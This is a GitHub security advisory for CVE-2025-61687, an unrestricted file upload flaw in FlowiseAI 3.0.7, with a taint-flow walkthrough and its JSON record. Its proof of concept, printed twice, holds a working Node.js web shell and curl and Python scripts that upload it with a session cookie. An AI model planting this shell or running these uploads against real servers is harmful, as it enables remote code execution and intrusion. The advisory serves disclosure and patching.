GHSA-35G6-RRW3-V6XC
Vulnerability from github – Published: 2025-10-08 19:34 – Updated: 2025-12-16 23:18Summary
A file upload vulnerability in FlowiseAI allows authenticated users to upload arbitrary files without proper validation. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE).
Details
The system fails to validate file extensions, MIME types, or file content during uploads. As a result, malicious scripts such as Node.js-based web shells can be uploaded and stored persistently on the server. These shells expose HTTP endpoints capable of executing arbitrary commands if triggered.
The uploaded shell does not automatically execute, but its presence allows future exploitation via administrator error or chained vulnerabilities.
Taint Flow
-
Taint 01: Route Registration
POSTfile requests are routed to the controller via Multer
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/routes/attachments/index.ts#L8 -
Taint 02: Multer Settings
Uploaded files are stored temporarily before further handling
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/index.ts#L1950-L1954 -
Taint 03: Controller
Receives the file from Multer and delegates to the service
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/controllers/attachments/index.ts#L4-L11 -
Taint 04: Service Layer
Processes the file and sends results back to controller
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/services/attachments/index.ts#L7-L16 -
Taint 05: createFileAttachment
Extracts metadata, moves file to permanent storage
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/createAttachment.ts#L118-L126 -
Taint 06: File Save Path
Creates storage directory and saves file
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L170-L175
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L533-L541 -
Taint 07: File Filtering
Filters dangerous characters in file names but does not reject malicious content
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L1104-L1111
PoC
shell.js (Node.js Web Shell)
const { exec } = require('child_process');
const http = require('http');
const server = http.createServer((req, res) => {
const url = new URL(req.url, 'http://localhost');
const cmd = url.searchParams.get('cmd');
if (cmd) {
console.log(`Executing: ${cmd}`);
exec(cmd, (error, stdout, stderr) => {
res.writeHead(200, {'Content-Type': 'text/plain'});
if (error) {
res.end(`Error: ${error.message}\n${stderr || ''}`);
} else {
res.end(stdout || 'Command executed successfully');
}
});
} else {
res.writeHead(200, {'Content-Type': 'text/html'});
res.end(`
<h1>Node.js Web Shell</h1>
<p>Use ?cmd=command to execute</p>
<p>Example: ?cmd=id</p>
`);
}
});
const PORT = 8888;
server.listen(PORT, '0.0.0.0', () => {
console.log(`Shell running on port ${PORT}`);
console.log(`Access: http://localhost:${PORT}?cmd=id`);
});
curl Upload
curl -X POST "http://localhost:3000/api/v1/attachments/0237eefc-18c5-46b2-8b3c-97aa516133fc/$(uuidgen)" \
-H "Cookie: jwt=ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0" \
-F "files=@shell.js;type=application/javascript"
Python Upload Script
import requests
import uuid
TARGET_URL = "http://localhost:3000"
CHATFLOW_ID = "0237eefc-18c5-46b2-8b3c-97aa516133fc"
TOKEN = "ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0"
CHAT_ID = str(uuid.uuid4())
def upload_shell():
url = f"{TARGET_URL}/api/v1/attachments/{CHATFLOW_ID}/{CHAT_ID}"
headers = {'Cookie': f'jwt={TOKEN}'}
files = {'files': ('shell.js', open('shell.js', 'rb'), 'application/javascript')}
r = requests.post(url, headers=headers, files=files)
if r.status_code == 200:
print("[✓] Upload success")
print(r.text)
else:
print(f"[✗] Upload failed ({r.status_code})")
print(r.text)
if __name__ == "__main__":
upload_shell()
Impact
An attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.7"
},
{
"fixed": "3.0.8"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.0.7"
]
}
],
"aliases": [
"CVE-2025-61687"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-08T19:34:21Z",
"nvd_published_at": "2025-10-06T16:15:35Z",
"severity": "HIGH"
},
"details": "### Summary\nA file upload vulnerability in FlowiseAI allows authenticated users to upload arbitrary files without proper validation. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE).\n\n### Details\nThe system fails to validate file extensions, MIME types, or file content during uploads. As a result, malicious scripts such as Node.js-based web shells can be uploaded and stored persistently on the server. These shells expose HTTP endpoints capable of executing arbitrary commands if triggered.\n\nThe uploaded shell does not automatically execute, but its presence allows future exploitation via administrator error or chained vulnerabilities.\n\n#### Taint Flow\n\n- **Taint 01: Route Registration** \n `POST` file requests are routed to the controller via Multer \n https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/routes/attachments/index.ts#L8\n\n- **Taint 02: Multer Settings** \n Uploaded files are stored temporarily before further handling \n https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/index.ts#L1950-L1954\n\n- **Taint 03: Controller** \n Receives the file from Multer and delegates to the service \n https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/controllers/attachments/index.ts#L4-L11\n\n- **Taint 04: Service Layer** \n Processes the file and sends results back to controller \n https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/services/attachments/index.ts#L7-L16\n\n- **Taint 05: createFileAttachment** \n Extracts metadata, moves file to permanent storage \n https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/createAttachment.ts#L118-L126\n\n- **Taint 06: File Save Path** \n Creates storage directory and saves file \n https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L170-L175 \n https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L533-L541\n\n- **Taint 07: File Filtering** \n Filters dangerous characters in file names but does not reject malicious content \n https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L1104-L1111\n\n### PoC\n\n#### shell.js (Node.js Web Shell)\n```js\nconst { exec } = require(\u0027child_process\u0027);\nconst http = require(\u0027http\u0027);\n\nconst server = http.createServer((req, res) =\u003e {\n const url = new URL(req.url, \u0027http://localhost\u0027);\n const cmd = url.searchParams.get(\u0027cmd\u0027);\n\n if (cmd) {\n console.log(`Executing: ${cmd}`);\n exec(cmd, (error, stdout, stderr) =\u003e {\n res.writeHead(200, {\u0027Content-Type\u0027: \u0027text/plain\u0027});\n if (error) {\n res.end(`Error: ${error.message}\\n${stderr || \u0027\u0027}`);\n } else {\n res.end(stdout || \u0027Command executed successfully\u0027);\n }\n });\n } else {\n res.writeHead(200, {\u0027Content-Type\u0027: \u0027text/html\u0027});\n res.end(`\n \u003ch1\u003eNode.js Web Shell\u003c/h1\u003e\n \u003cp\u003eUse ?cmd=command to execute\u003c/p\u003e\n \u003cp\u003eExample: ?cmd=id\u003c/p\u003e\n `);\n }\n});\n\nconst PORT = 8888;\nserver.listen(PORT, \u00270.0.0.0\u0027, () =\u003e {\n console.log(`Shell running on port ${PORT}`);\n console.log(`Access: http://localhost:${PORT}?cmd=id`);\n});\n```\n\n#### curl Upload\n```bash\ncurl -X POST \"http://localhost:3000/api/v1/attachments/0237eefc-18c5-46b2-8b3c-97aa516133fc/$(uuidgen)\" \\\n -H \"Cookie: jwt=ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0\" \\\n -F \"files=@shell.js;type=application/javascript\"\n```\n\n#### Python Upload Script\n```python\nimport requests\nimport uuid\n\nTARGET_URL = \"http://localhost:3000\"\nCHATFLOW_ID = \"0237eefc-18c5-46b2-8b3c-97aa516133fc\"\nTOKEN = \"ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0\"\nCHAT_ID = str(uuid.uuid4())\n\ndef upload_shell():\n url = f\"{TARGET_URL}/api/v1/attachments/{CHATFLOW_ID}/{CHAT_ID}\"\n headers = {\u0027Cookie\u0027: f\u0027jwt={TOKEN}\u0027}\n files = {\u0027files\u0027: (\u0027shell.js\u0027, open(\u0027shell.js\u0027, \u0027rb\u0027), \u0027application/javascript\u0027)}\n r = requests.post(url, headers=headers, files=files)\n\n if r.status_code == 200:\n print(\"[\u2713] Upload success\")\n print(r.text)\n else:\n print(f\"[\u2717] Upload failed ({r.status_code})\")\n print(r.text)\n\nif __name__ == \"__main__\":\n upload_shell()\n```\n\n\u003cimg width=\"1900\" height=\"981\" alt=\"image\" src=\"https://github.com/user-attachments/assets/e0d6a11e-445e-447c-a8f3-c0cb0b9ffb3f\" /\u003e\n\n\n### Impact\nAn attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.",
"id": "GHSA-35g6-rrw3-v6xc",
"modified": "2025-12-16T23:18:27Z",
"published": "2025-10-08T19:34:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-35g6-rrw3-v6xc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61687"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L1104-L1111"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L170-L175"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L533-L541"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/controllers/attachments/index.ts#L4-L11"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/routes/attachments/index.ts#L8"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/services/attachments/index.ts#L7-L16"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/createAttachment.ts#L118-L126"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/index.ts#L1950-L1954"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "FlowiseAI/Flosise has File Upload vulnerability"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.